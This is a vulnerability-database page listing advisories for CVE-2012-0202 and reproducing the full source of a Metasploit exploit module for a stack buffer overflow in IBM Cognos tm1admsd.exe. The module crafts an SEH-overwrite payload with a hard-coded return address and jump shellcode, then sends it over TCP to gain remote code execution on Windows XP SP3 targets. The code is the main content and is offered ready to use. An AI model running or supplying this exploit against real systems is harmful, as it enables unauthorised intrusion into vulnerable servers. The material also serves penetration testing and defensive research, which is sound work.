Lucene search
K

IBM Cognos tm1admsd.exe Overflow

🗓️ 05 Jan 2013 06:40:32Reported by Unknown, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

IBM Cognos tm1admsd.exe Overflow in Analytic Server Admin servic

Related
Code
ReporterTitlePublishedViews
Family
0day.today
IBM Cognos tm1admsd.exe Overflow Vulnerability
8 Jan 201300:00
zdt
Circl
CVE-2012-0202
8 Jan 201300:00
circl
Check Point Advisories
IBM Cognos tm1admsd.exe Buffer Overflow (CVE-2012-0202)
25 Aug 201300:00
checkpoint_advisories
CVE
CVE-2012-0202
4 May 201216:00
cve
Cvelist
CVE-2012-0202
4 May 201216:00
cvelist
Exploit DB
IBM Cognos - &#039;tm1admsd.exe&#039; Remote Overflow (Metasploit)
8 Jan 201300:00
exploitdb
IBM Security Bulletins
Security Bulletin: IBM Cognos TM1 Admin Server vulnerabilities (CVE-2012-0202)
15 Jun 201822:13
ibm
NVD
CVE-2012-0202
4 May 201216:55
nvd
Packet Storm
IBM Cognos tm1admsd.exe Overflow
8 Jan 201300:00
packetstorm
Prion
Stack overflow
4 May 201216:55
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IBM Cognos tm1admsd.exe Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in IBM Cognos Analytic Server
        Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
        dangerous copy of user controlled data to the stack, via memcpy, without validating
        the supplied length and data. The module has been tested successfully on IBM Cognos
        Express 9.5 over Windows XP SP3.
      },
      'Author'         =>
        [
          'Unknown', # Original discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-0202'],
          ['OSVDB', '80876'],
          ['BID', '52847'],
          ['ZDI', '12-101'],
          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'SSL' => true,
        },
      'Payload'        =>
        {
          'Space'    => 10359,
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          # tm1admsd.exe 9.5.10009.10070
          # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
          [ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
        ],
      'DisclosureDate' => '2012-04-02'))

      register_options([Opt::RPORT(5498)])
  end

  def exploit

    sploit = payload.encoded
    sploit << rand_text(target['Offset'] - sploit.length)
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
    sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
    sploit << [target.ret].pack("V") # seh
    sploit << rand_text(2000) # Trigger exception

    data = rand_text(4)
    data << "\x00\x08" # Opcode
    data << [sploit.length].pack("n") # Length
    data << sploit # Value

    length = [data.length + 2].pack("n")

    req = length
    req << data

    connect
    sock.put(req)
    disconnect

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation